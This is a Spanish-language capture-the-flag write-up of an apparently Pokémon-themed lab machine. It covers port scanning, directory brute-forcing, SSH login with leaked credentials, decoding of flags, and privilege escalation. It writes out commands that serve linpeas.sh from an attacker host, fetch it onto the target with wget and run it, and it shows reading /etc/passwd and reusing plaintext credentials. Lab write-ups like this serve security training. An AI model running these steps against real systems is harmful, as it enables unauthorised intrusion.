No dice mucho más, que encontremos 4 pokémon. Empezamos con el típico escaneo para ver puertos abiertos.

rustscan -a IP_Objetivo -- -A

Están abiertos los puertos 80 (http) y 22 (ssh).

Examinemos la página web. Es la página por defecto de Apache, pero hacia el final del código fuente encontramos algo extraño:

<pokemon>:<hack_the_pokemon>
<!--(Check console for extra surprise!)-->

En dicha consola (Ctrl+Shift+k en Firefox) encontramos:

0: "Bulbasaur"
1: "Charmander"
2: "Squirtle"
3: "Snorlax"
4: "Zapdos"
5: "Mew"
6: "Charizard"
7: "Grimer"
8: "Metapod"
9: "Magikarp"

Vemos si existen directorios ocultos con Gobuster:

gobuster dir -u IP_Objetivo -x html,php,txt -w /usr/share/worldlists/dirb/common.txt

Con las credenciales pokemon:hack_the_pokemon puedo entrar por ssh y soy el usuario pokemon.

Examinando /etc/passwd veo que hay otro usuario ash.

En el directorio Desktop tengo un archivo P0kEmOn.zip. Si lo descomprimo, aparece grass-type.txt que contiene:

50 6f 4b 65 4d 6f 4e 7b 42 75 6c 62 61 73 61 75 72 7d

Usamos un conversor online de hexadecimal a ASCII:

PoKeMoN{Bulbasaur}

La pista para el segundo pokemon de agua nos dice que quizá la web tenga la respuesta. Pero en la página no había nada más, así que visitamos el directorio de Apache, ya que es el servidor que utiliza.

cd /var/www/html
ls -hl

Encontramos ahí el archivo water-type.txt y lo leemos para obtener la segunda bandera.

Aparece Ecgudfxq_EcGmP{Ecgudfxq}, pero parece en código, veamos si es Rot13, que tiene pinta.

Rot13 no es, pero si aplicamos Rot14, nos aparece algo con sentido:

Squirtle_SqUaD{Squirtle}

Ya no hay más pistas para el de fuego, así que busco con:

find / -type f -iname "*fire*" 2>/dev/null

Buscando entre los resultados, nos aparece algo que no debería estar:

/etc/why_am_i_here?/fire-type.txt

Leo ese archivo y me encuentro esto:

UDBrM20wbntDaGFybWFuZGVyfQ==

Es Base64, así que lo decodifico.

P0k3m0n{Charmander}

Ahora me pide el pokemon favorito del administrador, con lo que he de escalar privilegios.

Ejecutar sudo -l me dice que no puedo ejecutar nada con privilegios, leer /etc/crontab no me da nada especial y buscar archivos con el bitu suid no encuentra nada especialmente interesante.

Voy a subir linpeas.sh a la máquina víctima y ejecutarlo. Para eso, uso la técnica del servidor web en mi máquina de ataque y traerlo hasta el objetivo con wget.

python3 -m http.server 8000 # Creo servidor web con Python en mi máquina de ataque, dentro del directorio en el que tengo linpeas.sh
wget IP_Ataque:8000/linpeas.sh # Descargo en la máquina objetivo el archivo
chmod +x linpeas.sh # Hago ejecutable linpeas.sh
./linpeas.sh # Ejecuto el script

Encuentra un archivo curioso: /home/roots-pokemon.txt que pertenece al usuario ash, con lo que voy a tener que pivotar hacia ash.

En ~/Videos/Gotta/Catch/Them/ALL! hay un archivo: Could_this_be_what_Im_looking_for?.cplusplus

Lo examino y veo unas credenciales en el código fuente:

ash:pikapika

Con eso puedo cambiar al usuario ash:

su ash

Con eso puedo leer /home/roots-pokemon.txt

Pikachu!